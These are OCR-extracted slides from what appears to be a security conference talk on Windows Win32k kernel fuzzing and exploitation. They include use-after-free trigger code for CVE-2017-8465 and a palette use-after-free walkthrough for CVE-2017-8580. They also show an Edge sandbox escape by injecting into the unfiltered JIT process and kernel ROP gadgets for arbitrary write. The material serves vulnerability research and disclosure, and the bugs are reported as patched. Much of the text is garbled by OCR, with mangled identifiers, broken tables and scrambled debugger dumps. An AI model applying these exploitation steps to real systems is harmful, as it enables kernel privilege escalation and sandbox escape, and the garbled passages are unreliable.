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Win32k Object

e User object

win32kbase!gSharedinfo

typedef struct _HANDLEENTRY {
PVOID pKernel; object's kernel address
PVOID pOwner; pointer to object's owner
BYTE bType; user object type
BYTE bFlags;
WORD wUniq; uniqueness count

}s

PVOID (
PVOID ptiOwner,
PVOID pDesk,
BYTE bType,
DWORD size
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User Object

Exrefs to HEAlocObject(x, x, x_ x) 0y

Dlrectl vi| Address
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.l’ill'“-' 'i+ "']-[1 dII i+ il 'n.
InternalCreat eHen‘u (1 nt:l+33
_SetWinEventHool (x, x, 2, x, 2, x, 2, x)+TD
_BeginDeferfindowFos (x)+13
rrzSetWindowsHoolEx (x, x, 2, %, 2, x)+F0
_CreateEmptyCurzorObject (:)+15

xxxCreateWindowEs: o, 2, 0, 00, 20, 30, 20, 30, 20, 3, 20, 3, 26, 3, 30, 1, ) oo

. text :0D033525E

xxxLoadEeyboardlayoutEx (tagfTHDOWSTATION *, woid *, HEL---

CreatelnputContext (x)+4E

LoadEeyboardLayoutFile (woid *, uint, uint, ushort const ==

_CreatehcceleratorTable (x, x)+23
xxxCsldelnitialize G, x, x, x, x)+34
GetCPD (x, x, x1+3E

MlocTouchInputInfo (tagTHREADIHFO #, uint, tagTOUCHIHE---
Createpxs (ulong (%) (ulong *, long *, tagDDECOHV #), woid---
HewConwer=zation (tagDDECONY * *, tagDDECOHV # *, tagWHD ---

_ConvertMemHandle (¢, 2 42T
MlocGestureInfo (x, x, x, x)+33

d=

d=

d=

d=

d=

d=

d=

Z]'[M.I’ulllll:|_|.|:l'|-_-|:+ [3 =
:]'[Mﬁ.ll-:-cl:lbjectfx X, X, x:I
ds:

HMA1locObject G, x, x, )

CHMALLocObject (x, x, 2, x)
ds:
ds:
CHMALLocObject (x, x, 2, x)
ds:
ds=:

HMA1locObject G, x, x, )
HMA1locObject G, x, x, )

HMA1locObject G, x, x, )
HMA1locObject G, x, x, 2)

CHMALLocObject (3, x, 2, x)
ds=:
ds=:

HMA1locObject G, x, x, 2)
HMA1locObject G, x, x, 2)

CHMALLocObject (3, x, 2, x)
ds=:
ds=:

HMA1locObject G, x, x, 2)
HMA1locObject G, x, x, 2)

CHMALLocObject (x, x, 2, x)
edi, d=:HMAllocObject (x, x, x, x)
ds:

HMA1locObject G, x, x, 2)

CHMALLocObject (x, x, 2, x)




Win32k Object

e Gdiobject
win32kbaselgpentHmgr

typedef struct GDITableCell {
PVOID pKernel; // object's kernel address
USHORT  nProcess; // object's owner pid
USHORT nCount;
USHORT nUpper;
USHORT  nType; // gdi object type
PVOID pUser;

}s

PVOID (
ULONG allocSize,
ULONG objType,
BOOL bZero

)s
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Gdi Object

EII’EfE to AllocateDbject (x, x, x) N

Directs: Addre==s

i Mllocatelbject G, x)
BEUSHMEMOET : : pbrAllocBrush (int]+20 Mlocatelbject G, x, x)
GreCombineRen (x, x, x, 2)+50 Mlocatelbject G, x, x)
IC::iCombine (_KECTL #, Long)+91 Mlocatelbject G, x, x)
IC: :bCompute (void)+543 Mlocatelbject G, x, x)
IC: :bSetlefaul tRegion (void)+3E2 Mlocatelbject G, x, x)
Hmzhlloe (x, x, x)+ET Mlocatelbject G, x, x)
RGHMEMOET: : bFastFill (EFATHOET &, long, FOIHTFIX *)+ES Mlocatelbject (x,x, x)
RGHMEMOET: : »Create (EFATHOBT &, ulong, EECTL #)+219 Mlocatelbject G, x, x)
RGHMEMOET: : EGEMEMOET (int, int J+1E Mlocatelbject (x,x, x)
RGHMEMOET: :vInitialize (ulong)+1C Mlocatelbject G, x, x)
RGHMEMOET: : EGHMEMOET (RGHMEMOET: :DestructorDisposition) Mlocatelbject G, x, x)
RGHMEMOET: : EGHMEMOET (voidl+15 Mlocatelbject (x,x, x)
SUEFMEM: :bCreateDIE [ DEVEITMAFINFO *, woid *, woid *, ulot= Mlocatelbject G, x, x)
GreCreateRectBanIndirect (x)+75 Mlocatelbject G, x, x)
PAIMEMOET: :bCreateFalette (ulong ulong ulong *, ulong, ul= Mlocatelbject G, x, x)
FATHMEMOET: : FATHMEMOET (roid)+53 Mlocatelbject (x,x, x)

hd hd hd hd o hd hd hd o hd hd i hd hd d d W




Win32k Object

e Types of user object & gdi object

User Object Gdi Object

Window =1, Menu = 2, Cursor = 3, DC =1, Region =4, Bitmap =5,
WindowPos = 4, WindowsHook =5, ClientObj = 0x6,

MemHandle = 6, CallProcData = 7, Path = 7, Palette = 8, ColorSpace = 9,
AccelTable = 8, DDE Access =9, hFont = OxA, RFont = OxB,

DDE Conversation = OxA, DDE Transaction = 0xB, ColorTransfom = OxE, SpriteObj = OxF,
Monitor = 0xC, KeyboardLayout = 0xD, Brush =0x10,

KeyboardLayoutFile = OxE, LogicSurface = 0x12, Space = 0x13,
EventHook = OxF, ServerMetaFile = 0x15,

Timer = 0x10, HidData = 0x12, DriverObj = 0x1C

InputContext = 0x11,

TouchlInfo = 0x14, Gesturelnfo = 0x15,

MinuserWindow = 0x17
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How to fuzz?
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Fuzz the relationship between objects

1] =

Position Window SetinternalWndPos
WndPos SetForegroundWindow
SetWindowPos
DeferWindowPos
SetWindowPlacement

Parent & Child Window SetParent
DComposition SetWindowLongPtr(GWLP_HWNDPARENT)
NtDCompositionRemoveVisualChild
NtDCompositionReplaceVisualChildren

Cursor NtUserLinkDpiCursor
DC Region SelectObject

Bitmap Palette GetStockObject
SelectPalette
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Previous work in this area

e 33 bugsin 2016, and 35 bugs in 2017

Win32k Elevation of Privilege Vulnerability

Win32k Elevation of Privilege Vulnerability
Win32k Elevation of Privilege YVulnerability

Win32k Elevation of Privilege Vulnerability
Win32k Information Disclosure Vulnerability

Win32k Elevation of Privilege Vulnerability CVE-2017-8577

Win32k Elevation of Privilege Vulnerability CVE-2016-3252

Win32k Elevation of Privilege Vulnerability Win32k Elevation of Privilege Vulnerability

Win32k Elevation of Privilege Vulnerability o . - . »
Win32k Elevation of Privilege Vulnerability

Win32k.sys EoP vulnerability SRy ) . . N
Win32k Elevation of Privilage Vulnerability

Win32k Elevation of Privilege Vulnerability

Win32k Elevation of Privilege Vulnerability




Digging more in-depth
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Hidden Syscall

NtUserfn* disappeared from the syscall table

MNtUserWindowFromPaint Ox1207 | 0x1238 | 0x1238| Ox124f
MEtUseryisldTask 0x120a |0x1239 | 0x1239 | 0x1250
NEUserfnCOPYDATA Ox112d
NtUserfnCOPYGLOBALDATA Ox112e
MNtUserfnDDEINIT Ox112f
NtUserfnDWORD 0x1130
MNtUserfnDWORDOPTINLPMSG 0x1131
MNtUserfnGETTEXTLENGTHS 0x1132
MtUserfnHKINDWORD Ox1133
MeserfnHkINLPCBTACTIVATESTRUCT Ox1134
MNtUserfnHEINLPCBETCREATESTRUCT 0x1135
NtUsefnHKINLPDEBUGHOOKSTRUCT 0x1136
NtUserfnHKINLPKEDLLHOOKSTRUCT Ox1137
NtUserfnHKINLPMOUSEHOOKSTRUCT 0x1138
MNtUserfnHKINLPMSG 0x1139

e Thanks to http://j00ru.vexillium.org/syscalls/win32k/32/




Hidden Syscall

NtUserMessageCall->gapfnMessageCall

LRESULT NtUserMessageCall(

-rdata:00066661C62DD3A0 dq offset IN HWND hwnd,
st IN UINT msg,

offset

offset IN WPARAM wParam,

offset
offset IN LPARAM 1Param,

offset

ofee IN ULONG_PTR xParam,
offset IN DWORD xpfnProc,

offset
offset IN BOOL bAnsi);
offset
offset
offset
offset
offset
offset




Hidden Functions

NtUserCall*->apfnSimpleCall

-rdata:B88088881CB2DCY5H

offset

offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset

ULONG_PTR NtUserCallOneParam(
IN ULONG_PTR dwParam,
IN DWORD xpfnProc);

ULONG_PTR NtUserCallHwndParam(
IN HWND hwnd,
IN ULONG_PTR dwParam,
IN DWORD xpfnProc);




Usermode callback

1/ =

e So many years past, Microsoft has patched many times for it.

Can we sill get something from this mechanism?

CVE-2014-4113
CVE-2015-0057
CVE-2015-1701
CVE-2015-2360
CVE-2015-2363
CVE-2015-2546
CVE-2016-0167
CVE-2017-0263

XXXMNFindWindowFromPoint
xxXEnableScrollBar
xxXxCreateWindowEx

xxXRecreateSmallIcons

tagCLS UAF
tagPOPUPMENU UAF Kernel Attacks through User-

xxxMNDestroyHandler Mode Callbacks
XXXMNEndMenuState

Tarjei Mandt
Black Hat USA 2011
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Usermode callback

KeUserModeCallback from win32k

5= xrefs to _imp_KeUserModeCallback = IE

Direction Tygp Address

ClientEventCallback+105 : : imp_KelserModeCallback
pppUserModeCallback{ulongvoid *ulongvoid ulong)+24  call csi_imp_KeUserModeCallback
xxxClientCallWinEventProc+123 call  csi_imp_KeUserModeCallback
SfnDWORD+1D1 call  csi_imp_KeUserModeCallback
faHKINLPMSG+17D call  csi_imp_KeUserModeCallback
SEInINQUTSTYLECHANGE +1D5 call  csi_imp_KeUserModeCallback
woClientCopylmage+ 89 call  csi_imp_KeUserModeCallback
xxxClientLloadMenu+108 call  csi_imp_KeUserModeCallback
fnHKINLPCEBTCREATESTRUCT +35C call  csi_imp_KeUserModeCallback
xxxClientAddFontResourceW+12F call  csi_imp_KeUserModeCallback
faHKINLPKBDLLHOOKSTRUCT+C1 call  csi_imp_KeUserModeCallback
xxxClientManitarEnumProc+B6 call  csi_imp_KeUserModeCallback
SEnINOQUTLPSCROLLINFO+1B1 call  csi_imp_KeUserModeCallback
SEnINSTRING +22E call csi_imp_KeUserModeCallback

1 |

e e o e

ESEEE
e = B B = |

-

0K ][ Gz ][ Sk ][ Help

i.inelcu




Fuzz callback

Hook KernelCallbackTable

1: kd> dt 006c2000 PEB -y KernelCallbackTable
nt_7ff65e5do000! PEB

+0x058 KernelCallbackTable

1: kd> dgs

000071 fb"
000071 fb"
000071 fb"
000071 fb"
000071 fb"
000071 fb"
000071 fb"
000071 fb"
000071 fb"
000071 fb"

2131000
2131008
f2f31010
2131018
2131020
2131028
2131030
2131038
2131040
2131048

00007ffb"
00007ffb"
00007ffb"
000071 fb"
00007ffb"
000071 fb"
00007ffb"
00007ffb"
00007ffb"
00007ffb"

130
f2ec3a30
f2f2ab10
f2ed1330
f2ed4690
f2ed3de®
f2f2bodo
f2ed5010
f2f2aeb0
f2f2afo00
f2f2afao

: 0x00007ffb 231000 Void

user32! fnCOPYDATA

user32! fnCOPYGLOBALDATA
user32! fnDWORD

user32! fnNCDESTROY

user32! fnDWORDOPTINLPMSG
user32! fnINOUTDRAG

user32! fnGETTEXTLENGTHS
user32! fnINCNTOUTSTRING
user32! fnINCNTOUTSTRINGNULL
user32! fnINLPCOMPAREITEMSTRUCT
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Breaking the sandbox
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System call filtering

Windows Kernel

Available System

Edge Browser

Win3 2k

Filtered System Calls

Flash Process




Win32k filter

e Filtered or not, by this table

int _ fastcall stub GdiCreateRectRgn{__inté64 al, _ int6h4 a2, intéh a3, _ intél ak)
M
int result; // eax@3
intéh vs; // [sp+28h] [bp-28h]@E1
ué; // [sp+28h] [bp-2Bh]@1
64 uZ; // [sp+3Bh] [bp—18h]@1
__intéh uB; /7 [sp+38h] [bp-18h]@1

al;
az;
ad;
ah;
(unsigned : : F ed({ BxBLi6L)
( Mt , BxB4iél), (unsigned _ int8)I

vi
w7
T1]
if

il
B . n o

{
result = |U32ps [4 = ={ QWORD =)& + 132];
if { result > 8 )
result = @xCO00001C;
¥
else
{
result = HtGdi gn{vs, vé, ui, ug);
¥

return result;




Three ways over the Edge

e Win32k bug avaliable out of filter list
e Bypass win32k filter via chakra JIT process

e Exploit a Direct X vulnerability




CVE-2017-8465

24 =

e https://github.com/progmboy/kernel vul poc/blob/master/wi

ndows/cursor poc/poc.cxx

//_CreateEmptyCursorObject

hCurl = (HCURSOR)NtUserCallOneParam(@, 0x2d);

hCur2 = (HCURSOR)NtUserCallOneParam(@, 0x2d);

CurData[@x6] = ©x1000;

CurData[o0x8] = 1;

CurData[©0x15] 1;

CurData[0x16] 1;

NtUserSetCursorIconData(hCur2, &pstrModName, &pstrModName, CurData);
NtUserLinkDpiCursor(hCurl, hCur2, 0x20);
NtUserSetCursorIconData(hCur2, &pstrModName, &pstrModName, CurData)
NtUserDestroyCursor(hCur2, 1);

NtUserDestroyCursor(hCurl, 1); // Trigger!

W EnzeH




CVE-2017-8465

A very good bug discovered by Yinliang of Tencent PCMagr.
All the functions for triggering are not filtered

The specific flaw exists within the win32kfulllLinkCursor function. Due to the
lack of proper check between two linked cursors, a use-after-free could be
triggered after a series operations.

U B EeskE



Step 1 Step 2

//Create two cursors and link them //Reset cur2->DpiHead to itself

hCurl = (HCURSOR)CreateEmptyCursorObject(); NtUserSetCursorIconData(hCur2, &pstrModName,
hCur2 = (HCURSOR)CreateEmptyCursorObject(); &pstrModName, CurData);

NtUserLinkDpiCursor(hCurC, hCurD, 0x80);

V) BZeAstR




Step 3 Step 4

DestroyCursor(hCur2); The we destroy Curl, we are going to destroy
the Curl->Next list. So we have a UAF bug:

_DestroyCursor(Curl->Next); //UAF!




CVE-2017-8465

e Exploitation Steps

1. Link two cursors and then destroy cur2.
2. Allocate AcceleratorTable objects.
3. Trigger the vulnerability, get AAW.

4. Abusing palette primitives for full read/write.

U BinzsEstns




CVE-2017-8465

e |t has been patched on June 2017

The Microsoft delete CreateEmpryCursor from apfnSimpleCall table,

and no LinkCursor now.

U BinzsEstns



Bypass win32k filter

e Flags3.EnableFilteredWin32kAPIs

public PsIsWin32KFilterEnabled
PsIsWin32KFilterEnabled proc n

mouv rax, g

mouv

mou

shr

and

retn
PsIsWin32KFilterEnabled endp

e From WIP 15048, Edge enabled OOP JIT Server

V) BERZSESERE



Bypass win32k filter

e We noticed that the jit process is unfiltered!

dt ffff930e7e0657c0@ EPROCESS
+0x000 Pcb : _KPROCESS
/...
+0x6cc Flags3 : Ox481c820
+0x6cc Minimal : Oyo
+0x6cc ReplacingPageRoot : Oy@
+0x6cc DisableNonSystemFonts : Oy@
+0x6cc AuditNonSystemFontLoading : 0y@
/...
+0x6cc ProhibitRemoteImageMap : 0yl
+0x6cc ProhibitLowILImageMap : Oy@
+0x6cc SignatureMitigationOptIn : Oy@
+0x6cc DisableDynamicCodeAllowOptOut : @Oyl
+0x6cc EnableFilteredWin32kAPIs :
+0x6cc AuditFilteredWin32kAPIs : Qy1B

W Rz




Bypass win32k filter

32 m

e And we noticed that the Edge content process owns a handle

dllhost. exe

MicrosoftEdgelP. exe g Y K 07, 452 E 3 c Conten. .

G
el
e}

e When | observe the content process's handle info

Mutant “Sessions' 1 BaseNamedlbjects \M3CTF. Asm MutexDefaultl 5 E’:’NCJTEWNIZE H

Process MicrosoftEdee. exe (5200} SYNCHRONIZE
Frocess SRR SYKCHROKIZE |JDUP_HANDLE
Frocess CIEEFE: SYNCHRONIZE ||DUF_HANDLE
Bection b .. hie ias (00014500000 000— 000 0— 000000 D000 MAP_HREAD
Secticn “BaseNamedObiects'_ ComCatalogCache MAF READ
Secticn Y .. ' IscBpaceV2_ Scopelntrusted 2:6 2 MAF WRITE | MAFP READ

V) BERZSESERE




Bypass win32k filter

e It's used for RPC with the JIT server

r(__in HANDLE jitProcessHandle,  in opt void* serverSecurityDescriptor, _ in UUID connectionUuid);




Bypass win32k filter

e |nject the JIT server from content process

jectlitServer(HANDLE hProc)

SIZE T dwSize = sizeof(g
HANDLE j

Now we can exploit win32k bug unlimited!
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CVE-2017-8580

A good case about public-owned object.

BUGCHECK STR: @xD5
PROCESS NAME: PalUAF.- C4.ex
CURRENT IRQL:
IS VERSION: 19.9.1082468.9 amd6dfre
Bxffffceddc

ntain all

I ffffe
rip=fffffe

; up ei pl nz na p
tDIBColorTable+@x
Bb481c MmO X [§ =

scope




CVE-2017-8580

specific flaw exists within the win32kfull!EngDeletePalette

EngheletePalette proc near

arg_8 = quword ptr

push
sub
mou
oy
lea
call
mou
test
jz
test
jnz
text:0000AAB1CAATEF7S lea
lea
call

pPal->ShareCnt++

rax, rax
short loc 1CBB7EF8EA

dword ptr [rax+18h], 188h

short loc 1CBA7EF8A

eds, [rbx+2 ;lcShareLock = 2

+arg_8]

It means we can delete a palette with nozero share count!




CVE-2017-8580

// First, create a palette

HPALETTE hPalette

= CreateDIBPalette();

0: kd> dq fffff6d9 44248230

fffff6d9 442482a0
fffff6d9 442482bo
fffff6d9 442482c0

000000 5e0808c8
ffffdloa ffbcl700
ff76b9ed ©000eb45

// Then, select it to a DC
SelectPalette(hdc, hPalette, TRUE);

0: kd> dq fffff6d9 442482a0

fffff6d9 442482a0
fffff6d9 442482bo
fffff6d9 442482c0

00000000 5e0808c8
ffffdlea ffbcl700
ff76b9ed 0000eb45

80000000
00000010 00000501
00000000 V0V

80000000
00000010 00000501
00000000

hdc

W Rz

e

PVOID
ULONG
USHORT
USHORT
PVOID

struct _BASEOBIJECT

hHmgr ;
cShareCount;
cExclusivelock;
BaseFlags;

Tid;

} BASEOBJECT, *POBJ;

----> still zero




CVE-2017-8580

// Call the CreateDIBSection function and pass the hdc as argument, we would
// get a DIB surface which referenced a public-owned palette;

hBmp = CreateDIBSection(hdc, pBmpInfo, DIB PAL COLORS, &pBmpData, NULL, 0);

0: kd> dq fffff6d9 4455fb70

fffff6d9 4455fb70 ffffffff c80807e9 0000000
fffff6d9 4455fb80 ffffdloa ffbcl700 00000100 00008401
fffff6d9 4455fb90 000000 0001010 VOOV 0V

public-owned
©: kd> dq poi(win32kbase!gpentHmgr) + 18 * 7e9
fffffed9 4001bdd8 ffffffff ffc807e9 0008c808"
fffff6d9 4001bde8 00000000 000000

We can search this public palette from

V) BRZeAsts




CVE-2017-8580

e Finally, we can free this palette via EngDeletePalette

This is what we get now

Freed

" Palette

V) BERZSESERE



CVE-2017-8580

e Exploitation Steps

1. Trigger the vulnerability
2. Allocate servermetafile objects to reclaim memory.
3. Call SetDIBColorTable and get AAW.

4. Abuse palettes primitives to gain full read and write.

U BinzsEstns




Patch

e Palette UAF patched on July 2017

Microsoft just fix the cShareCount passed from EngDeletePalette

e Duplicate handle patched on Sep 2017

Collided by Ivan Fratric! - -#
Edge content processes do not have DUP_HANDLE permission of jit

process, and the jit server enabled win32k filter after a month.
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Win32k Death?

COMMSEC: The Life & [BIE]Hx!
Kernel Object Abuse

In the past few years, data only kernel exploitation has been on the rise, since 2011
abusing and attacking Desktop heap objects, to gain a higher exploit primitives, was
seen in many exploits. Moving forward to 2015 the focus has changed to GDI subsystem,
and the discovery of the GDI Bitmaps objects, abuse, as well as in 2017 the GDI Palettes
object abuse technigue was released at DefCon 25, all of these techniques aim to, gain
arbitrary/relative kernel memory read/write, to further the exploit chain.

In this talk we will Focus on some of the discovered techniques and objects, and how
we were able using Type Isolation released in RS4 to mitigate those exploitation
techniques.

LOCATION: Track 4 / CommSec
DATE: April 12, 2018
TIME: 10:45 am - 11:45 am

SAIF
ELSHEREI
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Direct X Subsystem

e Many of them are not filtered

0: kd> x win32kbase!*GdiDdDDI*

fffffe8a 9849e6a0
info>)

fffffe8a 9849e3b0
parameter info>)
fffffe8a 98438910
fffffe8a 98428b10
fffffe8a 984361bo
fffffe8a 9849dd90
info>)

fffffe8a 9842b5e0
fffffe8a 9843d9co
fffffe8a 9849daed
fffffe8a 9849d990
parameter info>)
fffffe8a 9849dbed
parameter info>)
fffffe8a 9842b870

win32kbase!NtGdiDdDDIWaitForVerticalBlankEvent2 (<no parameter
win32kbase!NtGdiDdDDISetHwProtectionTeardownRecovery (<no
win32kbase!NtGdiDdDDIConfigureSharedResource (<no parameter info>)
win32kbase!NtGdiDdDDIPresent (<no parameter info>)
win32kbase!NtGdiDdDDILock (<no parameter info>)
win32kbase!NtGdiDdDDIOpenSynchronizationObject (<no parameter
win32kbase!NtGdiDdDDILock2 (<no parameter info>)
win32kbase!NtGdiDdDDIEvict (<no parameter info>)
win32kbase!NtGdiDdDDIGetSetSwapChainMetadata (<no parameter info>)
win32kbase!NtGdiDdDDIGetContextInProcessSchedulingPriority (<no
win32kbase!NtGdiDdDDINetDispQueryMiracastDisplayDeviceStatus (<no

win32kbase!NtGdiDdDDIReclaimAllocations2 (<no parameter info>)

V) ER=egs



CVE-2018-0977

e Attack the Direct X subsystem

BUFINFO: : Run+e

& &

r na po nc
pZzb fs=08




CVE-2018-0977

I ————————————.—————

user controllable

0: kd> u BasicRender!WARPKMDMABUFINFO: :Run+60

BasicRender !WARPKMDMABUFINFO: :Run+0x60:

ffff+809 753a539c 488b07 mov rax,qword ptr [rdi]

fffff809 753a539f 7548 jne BasicRender !WARPKMDMABUFINFO: : Run+@xad

(fffff809° 753a53e9)

ffff+809 753a53al 488bo0 mov rax,qword ptr [rax]

fffff809 753a53a4 488d542430 lea rdx, [rsp+30h]

ffff+809 753a53a9 1158140000 call gword ptr [BasicRender! guard_dispatch_icall fptr
(fffff809° 753aa230) ]

0: kd> dgs fffff809 7532a230
ffff+809 75322230 fffff809 75326550 BasicRender!guard_dispatch_icall _nop
fffff809 75322238 00000000 00002288

0: kd> uf BasicRender!guard _dispatch_icall_nop
BasicRender!guard dispatch_icall nop:
ffff+809 75326550 ffeod jmp rax

V) EnzsH




CVE-2018-0977

40 m

e Crash occurred in system process, no user space, no win32k

PROCESS_NAME: System

CURRENT_IRQL: ©

. kd> k
Child-SP RetAddr Call Site
fFff8b08 0ed94c80 fffff809 753a56b2 BasicRender!WARPKMDMABUFINFO: :Run+0x60
fFff8b08 0ed94cbo fffff809 753a51b3 BasicRender!WARPKMGPUNODE: :Run+0xa6
ffff8b08 0ed94d10 fffff809 753a4845 BasicRender!WARPKMADAPTER: :RunGPU+0x7c3
ffff8b08 0ed95bed fffff801 278f53a7 BasicRender!WARPKMADAPTER: :WarpGPUWorkerThread+0x25
ffff8b08 0ed95c10 fffff801 2797ad66 nt!PspSystemThreadStartup+0x47
fff8b08 0ed95c60 0000VVVO VPRV nt!KiStartSystemThread+0x16

e How to layout data for ROP?
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Spray data with NamedPipe object

Need a kernel info leak to get nt base and kernel data address

- First, we need nt base to calculate ROP gadgets address

- Then, we should control RSP register point to the ROP data

We need a good info leak, and used it twice.

Fortunately I have disovered one, but it's still unpatched, so I won't

disclose it in this speech.
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e Ropin kernel, turn to AAW

KseGetIoCallbacks:

mov rax, [rcx+30h] // rcx point to pipe name
mov rax, [rax+38h] // control rax

retn

nt!KiResetForceldle+0xf7:

pop rcx
retn

xHalQueryProcessorRestartEntryPoint + 0x2:
mov [rcx], rax // Write!

mov ax, 0C000VBBh
retn

W EnzeH




Demo Time
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e Patched in March 2018

e And Microsoft made a mistake

CVE-2017-8580 | Mk Elevation of Privilege Vulnerability

Security Vulnerability

Collisions once again! - -#
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https://github.com/progmboy/kernel_vul_poc/blob/master/windows/cursor_poc/poc.cxx
https://www.zerodayinitiative.com/advisories/ZDI-17-474/
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0977

https://media.blackhat.com/bh-us-11/Mandt/BH_US_11 Mandt_win32k_Slides.pdf
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